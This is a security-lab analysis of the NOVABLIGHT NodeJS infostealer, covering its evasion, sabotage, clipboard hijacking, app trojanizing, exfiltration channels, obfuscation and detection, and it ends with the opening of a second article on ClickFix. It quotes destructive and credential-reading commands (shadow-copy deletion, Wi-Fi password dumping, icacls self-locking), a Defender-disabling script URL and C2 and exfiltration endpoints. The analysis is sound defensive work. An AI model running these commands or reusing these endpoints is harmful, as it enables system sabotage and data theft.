<p>NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image16.png" alt="VirusTotal depicting low detection rate of NOVABLIGHT" /></p>
<p>A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image25.png" alt="Wallet clipper logic can either be executed or not, based on the config field swapWallet.active" /></p>
<p>Code snippets in this report are from a non-obfuscated version 2.0 <a href="https://www.virustotal.com/gui/file/abc5a9605010890d7514f239e3defbbccecaeaf4cc2e2b7d54cdaaed88dd3766">sample</a>, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 <a href="https://www.virustotal.com/gui/file/1a2fc6ee9c48f35cff500d7a95f5d919f644d0eeb2980f9cdad4762c42b94afc/detection">sample</a> when they differ.</p>
<h3>Code structure</h3>
<p>From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level &quot;flow&quot; controllers. The primary stages are:</p>
<ul>
<li><strong>flow/init:</strong> Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.</li>
<li><strong>flow/injecting:</strong> Application injection and patching (Atomic, Mullvad, Discord, …)</li>
<li><strong>flow/grabb</strong>: Data harvesting</li>
<li><strong>flow/ClipBoard</strong>: Clipboard hijacking</li>
<li><strong>flow/sending</strong>: Data exfiltration</li>
<li><strong>flow/disable</strong>: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)</li>
<li><strong>flow/cleaning:</strong> Post-exfiltration cleanup</li>
</ul>
<p>For more insights into the code structure, check out this GitHub <a href="https://gist.github.com/jiayuchann/b13ec30e72e69cb542e2e6d2e009c4a4">Gist</a>, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.</p>
<h3>Anti-debug and sandbox detection</h3>
<p>NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:</p>
<ul>
<li>Detecting VM-related GPU names (vmware, virtualbox, qemu)</li>
<li>Checking for blacklisted usernames (sandbox, test, malware)</li>
<li>Identifying VM-specific driver files (balloon.sys, qemu-ga)</li>
<li>Checking for low screen resolution and lack of USB devices</li>
<li>Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems</li>
<li>Actively killing known analysis and debugging tools found in a remote list</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image2.png" alt="Anti-debug and anti-VM checks" /></p>
<p>The blacklists are hosted on GitHub:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json">https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json">https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json</a></li>
<li><a href="https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json">https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json</a></li>
</ul>
<h3>Disable Defender &amp; attempts to disable Task Manager</h3>
<p>NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, <a href="https://raw.githubusercontent.com/ZygoteCode/WinDefendManager/refs/heads/main/Resources/DisableWD.bat">DisableWD.bat</a>, from a public GitHub repository.</p>
<p>The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses <code>setValues</code> from the <code>regedit-rs</code> package to set the <code>DisableTaskMgr</code> value to <code>1</code> under <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image20.png" alt="Disable Task Manager through the registry" /></p>
<p>However, looking at the <code>regedit-rs</code> <a href="https://github.com/Zagrios/regedit-rs/blob/4b7874eb6542cf162f62cf40719b44e69f086497/js-binding.js#L318">repo</a> (v1.0.3 to match), there are no exported functions named <code>setValues</code>, only <code>putValue</code>. This functionality may not work as intended.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image31.png" alt="Snippet of js-binding.js from the regedit-rs GitHub repo" /></p>
<h3>Disable internet access</h3>
<p>To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package <a href="https://www.npmjs.com/package/wifi-control">wifi-control</a> and its <a href="https://github.com/msolters/wifi-control-node/blob/13d02226a3e6b12b48ebd063af2e7e3c97ef0abe/src/wifi-control.coffee#L293">resetWiFi</a> function.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image6.png" alt="Disable Wi-Fi adapter" /></p>
<p>The second method disables the primary “Ethernet” network adapter using the <code>netsh</code> command, running it every 5 seconds to disable re-enabling attempts.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image5.png" alt="Disable network adapter named “Ethernet”" /></p>
<h3>Defeat system recovery</h3>
<p>The malware can sabotage system recovery by disabling the Windows Recovery Environment (<code>reagentc /disable</code>) and deleting all Volume Shadow Copies (<code>vssadmin delete shadows /all</code>) when the <code>antireset</code> flag is enabled in the configuration.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image1.png" alt="Disable system restore" /></p>
<h3>Blocking file deletion</h3>
<p>Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through <code>icacls “${filePath}” /deny ${currentUser}:(DE,DC)</code>  where <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls">DE denies delete rights and DC prevents deletion</a> via the parent folder and optionally creating a pop-up message box containing a “troll” message.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image11.png" alt="Block current user from deleting the malware executable" /></p>
<p>Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: <code>Administrators</code>, <code>Power Users</code>, <code>Remote Desktop Users</code>, <code>Administrateurs</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image15.png" alt="Remove current user from Admin groups" /></p>
<h3>Clipboard address substitution</h3>
<p>The malware implements a &quot;clipper&quot; module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image13.png" alt="Fallback addresses are used if not specified in the config" /></p>
<h3>Electron application injections</h3>
<p>NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint <code>https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*</code>, targeting applications such as:</p>
<ul>
<li>Discord client</li>
<li>Exodus wallet</li>
<li>Mullvad VPN client</li>
<li>Atomic wallet</li>
<li>Mailspring email client</li>
</ul>
<p>We were able to retrieve all of the modules from a public GitHub <a href="https://github.com/CrackedProgramer412/caca/tree/main">repository</a>.</p>
<p>The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks <code>Program Files\\Mullvad VPN\\resources\\app.asar</code> into a temporary directory, fetches a backdoored version of <code>account.js</code> from <code>https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>, overwrites the source file <code>account.js</code>, and finally repacks it. While it might still work for older versions of Mullvad such as <a href="https://github.com/mullvad/mullvadvpn-app/releases/tag/2025.4">2025.4</a>, this does not seem to work on the latest version of Mullvad.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image17.png" alt="Repacking the Mullvad client" /></p>
<p>In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.<br />
This is what <a href="https://www.virustotal.com/gui/file/cf3a8cdb3fca4e9944dc90d13f2f4f2b4ae317955571d9132e97cc46a06f277b/detection"><code>main/index.js</code></a> looks like in a legitimate release of Exodus 25.28.4:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image21.png" alt="Original logic of main/index.js in the Exodus client" /></p>
<p>In the trojanized <code>index.js</code>, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image8.png" alt="Trojanized index.js" /></p>
<h3>Chrome sensitive data extraction</h3>
<p>For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from <a href="https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip">https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image35.png" alt="Dynamically retrieving Chrome data decryption tool" /></p>
<p>The GitHub repository attempts to masquerade as a Minecraft voting management tool.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image36.png" alt="GitHub repo with a fake README" /></p>
<p>However, the zip file <code>bin.zip</code> contains the compiled code (<a href="https://www.virustotal.com/gui/file/82920f3482c55430361b0cf184abf546fdb32fa079026d6ce1653f4cab49647d/detection">decrypt.exe</a> and <a href="https://www.virustotal.com/gui/file/daa1caa02a95411261aa7ed94762864e6f7bd7aa5fa79dfc9c1f3741d5ef8027">chrome_decrypt.dll</a>) of version 0.11.0 of the Chrome App-bound decrypter PoC project by <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">xaitax</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image32.png" alt="Chrome App-Bound Decryption tool by xaitax" /></p>
<h3>System enumeration</h3>
<p>Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.</p>
<ul>
<li><code>captureSystemInfo()</code>: Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.</li>
<li>Output: <code>*configured_path*/System Info.txt</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image34.png" alt="Collecting system information" /></p>
<ul>
<li><code>captureScreen()</code>: Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
<ul>
<li>Method: Utilizes the <a href="https://www.npmjs.com/package/screenshot-desktop">screenshot-desktop</a> library.</li>
<li>Output: A timestamped image file (e.g., <em>configured_path</em>/<em>hostname</em>_2025-10-26_14-30-00.png`).</li>
</ul>
</li>
<li><code>captureTaskList()</code>: Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
<ul>
<li>Method: Executes the command <code>tasklist /FO CSV /NH</code>.</li>
<li>Output: <code>*configured_path*/TaskManagerInfo.txt </code></li>
</ul>
</li>
<li><code>captureAVDetails()</code>: Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
<ul>
<li>Method: Executes the PowerShell command <code>Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List</code></li>
<li>Output: <code>*configured_path*/Avdetails.txt</code></li>
</ul>
</li>
<li><code>captureClipboardContent()</code>: Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
<ul>
<li>Method: Executes the PowerShell command <code>Get-Clipboard</code>.</li>
<li>Output: <code>*configured_path*/Clipboard.txt</code></li>
</ul>
</li>
<li><code>captureWebcamVideo()</code>: Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
<ul>
<li>Method: Leverages the <a href="http://direct-synch-show"><code>direct-synch-show</code></a> library for video capture.</li>
<li>Output: <code>*configured_path*/Bighead.avi</code></li>
</ul>
</li>
<li><code>captureWifiPasswords()</code>: Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
<ul>
<li>Method: Executes the command <code>netsh wlan show profile *wifi_ssid* key=clear</code> for each profile.</li>
<li>Output: <code>*configured_path*/WifiPasswords.txt</code></li>
</ul>
</li>
<li><code>getFilesUrgents</code>: This functionality exfiltrate files on disk according to a set of keywords as follow: <strong>backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni,</strong> these files are archived as <code>files.zip</code> then sent to the C2.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image28.png" alt="Collecting important files" /></p>
<h3>Data exfiltration</h3>
<p>There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.</p>
<p>The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image12.png" alt="Dashboard on the NOVABLIGHT web panel" /></p>
<p>The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string <code>req</code> in this case <code>https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>.</p>
<p>If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at <code>https://api.telegram[.]org/bot*token*/sendMessage</code>) using a configured userId, chatId and botToken to send the stolen data.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image33.png" alt="Data exfiltration channel: Telegram" /></p>
<p>Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single  URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image19.png" alt="Data exfiltration channel: Discord" /></p>
<p>NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:</p>
<ul>
<li><code>https://bashupload[.]com</code></li>
<li><code>https://litterbox.catbox[.]moe/resources/internals/api.php</code></li>
<li><code>https://tmpfiles[.]org/api/v1/upload</code></li>
<li><code>https://oshi[.]at/</code></li>
<li><code>http://sendfile[.]su/</code></li>
<li><code>https://wsend[.]net</code></li>
<li><code>https://api.gofile[.]io/servers</code></li>
<li><code>https://gofile[.]io/uploadFiles</code></li>
<li><code>https://rdmfile[.]eu/api/upload</code></li>
<li><code>https://bamboulacity.nova-blight[.]xyz/file/</code></li>
</ul>
<h3>Targeted data</h3>
<p>NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub <a href="https://gist.github.com/jiayuchann/4a27afce5be67dd73edb9c4b9a6de1f9">Gist</a>.</p>
<h2>Obfuscation techniques</h2>
<h3>Array mapping</h3>
<p>The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array <code>__p_6Aeb_dlrArray</code> with values of different types and encoding, which accounts for nearly all literal values used in the script.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image4.png" alt="Main global array used for value lookups" /></p>
<p>After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image24.png" alt="Results after fixing array mapping for __p_6Aeb_dlrArray" /></p>
<h3>String encoding</h3>
<p>The second technique used to hide strings is the usage of base91 encoding. The function wrapper <code>__p_xIFu_MAIN_STR</code> is called with an integer argument.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image10.png" alt="Obfuscated strings" /></p>
<p>The integer is an index of a secondary array mapping <code>__p_9sMm_array</code> that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine <code>__p_xIFu_MAIN_STR_decode</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image9.png" alt="Global array used for lookup by __p_xIFu_MAIN_STR" /></p>
<p><code>__p_xIFu_MAIN_STR_decode</code> will then decode it using a custom alphabet:<br />
<code>vFAjbQox\&gt;5?4K$m=83GYu.nBIh\&lt;drPaN\^@%Hk:D_sSyz&quot;ER9/p,(*JwtfO)iUl&amp;C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7</code> and return the decoded string.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image26.png" alt="Main logic for string decoding" /></p>
<h3>Access pattern obfuscation</h3>
<p>Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.</p>
<p>For example, the function <code>__p_LQ1f_flat_…</code> is passed a flat object <code>__p_w3Th_flat_object</code>. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (<code>__p_jGTR_dispatcher_26</code>). Throughout the code, there is a pattern where the property names start with <code>empretecerian.js</code>, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image29.png" alt="Example pattern for flattened object" /></p>
<h3>Control flow obfuscation</h3>
<p>Some of the code’s execution path is routed through a central dispatcher,  <code>__p_jGTR_dispatcher_26</code>, in which the first argument name takes a short ID string.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image7.png" alt="The main dispatcher’s function signature" /></p>
<p>Each ID is mapped to a distinct function. For example, the ID <code>jgqatJ</code> is referenced by the <code>modules/init/Troll.js</code> module and it is responsible for a “troll” popup message box.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image14.png" alt="Mapping function ID to the actual function" /></p>
<h3>Proxy variables</h3>
<p>First, the obfuscation transforms function syntax to “<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters syntax</a>” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function <code>__p_xIFu_MAIN_STR_decode</code> is not called with direct parameters. Instead, its arguments are first placed into the <code>__p_A5wG_varMask</code> array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index <code>-36</code> of the array stores the index of the character &quot;c&quot; in a string stored in <code>__p_A5wG_varMask[171]</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image3.png" alt="Function utilizing rest parameters" /></p>
<h2>NOVABLIGHT and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1125/">Video Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1531/">Account Access Removal</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Password Stores: Credentials from Web Browsers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
</ul>
<h2>Conclusion</h2>
<p>NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.</p>
<p>Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.</p>
<h2>Detecting NOVABLIGHT</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Infostealer_NovaBlight {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-07-18&quot;
        last_modified = &quot;2025-07-28&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Infostealer&quot;
        family = &quot;NovaBlight&quot;
        threat_name = &quot;Windows.Infostealer.NovaBlight&quot;
        reference_sample = &quot;d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73&quot;

    strings:
        $a1 = &quot;C:\\Users\\Administrateur\\Desktop\\Nova\\&quot;
        $a2 = &quot;[+] Recording...&quot; fullword
        $a3 = &quot;[+] Capture start&quot; fullword
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>ed164ee2eacad0eea9dc4fbe271ee2b2387b59929d73c843281a8d5e94c05d64</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.2</td>
</tr>
<tr>
<td align="left"><code>39f09771d70e96c7b760b3b6a30a015ec5fb6a9dd5bc1e2e609ddf073c2c853d</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.1</td>
</tr>
<tr>
<td align="left"><code>97393c27195c58f8e4acc9312a4c36818fe78f2ddce7ccba47f77a5ca42eab65</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.0</td>
</tr>
<tr>
<td align="left"><code>api.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>shadow.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]site</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>bamboulacity.nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.gatewatcher.com/lab/groupe-nova-sentinel/">https://www.gatewatcher.com/lab/groupe-nova-sentinel/</a></li>
<li><a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/Security Labs Images 7.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[A Wretch Client: From ClickFix deception to information stealer deployment]]></title>
            <link>https://www.elastic.co/fr/security-labs/a-wretch-client</link>
            <guid>a-wretch-client</guid>
            <pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs detected a surge in ClickFix campaigns, using GHOSTPULSE to deploy Remote Access Trojans and data-stealing malware.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics.</p>
<p>Our threat intelligence indicates a substantial surge in activity leveraging <a href="https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/">ClickFix</a> (<a href="https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn">technique first observed</a>) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the <a href="https://www.elastic.co/fr/security-labs/tricks-and-treats">GHOSTPULSE loader</a>. This led to campaigns targeting a broad audience using malware and infostealers, such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a>, a family first observed in 2019 but now experiencing a significant surge in popularity.</p>
<p>This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers.</p>
<h2>Key takeaways</h2>
<ul>
<li><strong>ClickFix:</strong> Remains a highly effective and prevalent initial access method.</li>
<li><strong>GHOSTPULSE:</strong> Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file.</li>
<li><strong>ARECHCLIENT2 (SECTOPRAT):</strong> Has seen a considerable increase in malicious activity throughout 2025.</li>
</ul>
<h2>The Initial Hook: Deconstructing ClickFix's Social Engineering</h2>
<p>Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image1.png" alt="" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image15.png" alt="Fake captcha" title="Fake captcha" /></p>
